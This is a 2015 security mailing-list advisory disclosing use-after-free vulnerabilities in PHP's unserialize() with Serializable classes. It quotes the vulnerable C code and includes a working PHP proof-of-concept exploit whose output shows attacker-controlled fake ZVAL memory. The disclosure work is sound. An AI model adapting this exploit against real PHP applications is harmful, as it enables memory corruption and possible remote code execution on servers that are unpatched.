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Re: Use After Free Vulnerabilities in unserialize()

From: Taoguang Chen <taoguangchen () gmail com>
Date: Sat, 5 Sep 2015 10:52:02 +0800

Update affected versions:


Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45


2015-09-05 10:08 GMT+08:00 Taoguang Chen <taoguangchen () gmail com>:

#Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.31 - Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused 
for leaking arbitrary memory blocks or execute arbitrary code remotely.


Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
      if (ce->unserialize == NULL) {
              zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
              object_init_ex(rval, ce);
      } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != 
SUCCESS) {
              return 0;
      }

      (*p) += datalen;

      return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class

```
<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

?>
```

ii) Free the memory via the process_nested_data() with a invalid serialized string

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
      while (elements-- > 0) {
              zval *key, *data, **old_data;

              ...

              ALLOC_INIT_ZVAL(data);

              if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
                      zval_dtor(key);
                      FREE_ZVAL(key);
                      zval_dtor(data);
                      FREE_ZVAL(data);  <===  free the memory
                      return 0;
              }
```

iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().

```
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

      ...
      
      while (var_hash) {
              for (i = 0; i < var_hash->used_slots; i++) {
                      zval_ptr_dtor(&var_hash->data[i]);  <===  free the memory
              }
      
      ...
      
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

      ...
      
      if (*rval != NULL) {
              var_push_dtor_no_addref(var_hash, rval);
      }
      *rval = *rval_ref;
```

We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or 
r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code 
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
      $out = "";
      for ($i = 0; $i < 8; $i++) {
              $out .= chr($ptr & 0xff);
              $ptr >>= 8;
      }
      return $out;
}

class obj implements Serializable {
      var $data;
      function serialize() {
              return serialize($this->data);
      }
      function unserialize($data) {
        $this->data = unserialize($data);
//            i)
//            $this->data = '1';
      }
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(obj)#1 (1) {
    ["data"]=>
    bool(false)
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```


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Current thread:

Use After Free Vulnerabilities in unserialize() Taoguang Chen (Sep 07)
- Re: Use After Free Vulnerabilities in unserialize() Taoguang Chen (Sep 07)
- Re: Use After Free Vulnerabilities in unserialize() Christian Kujau (Sep 16)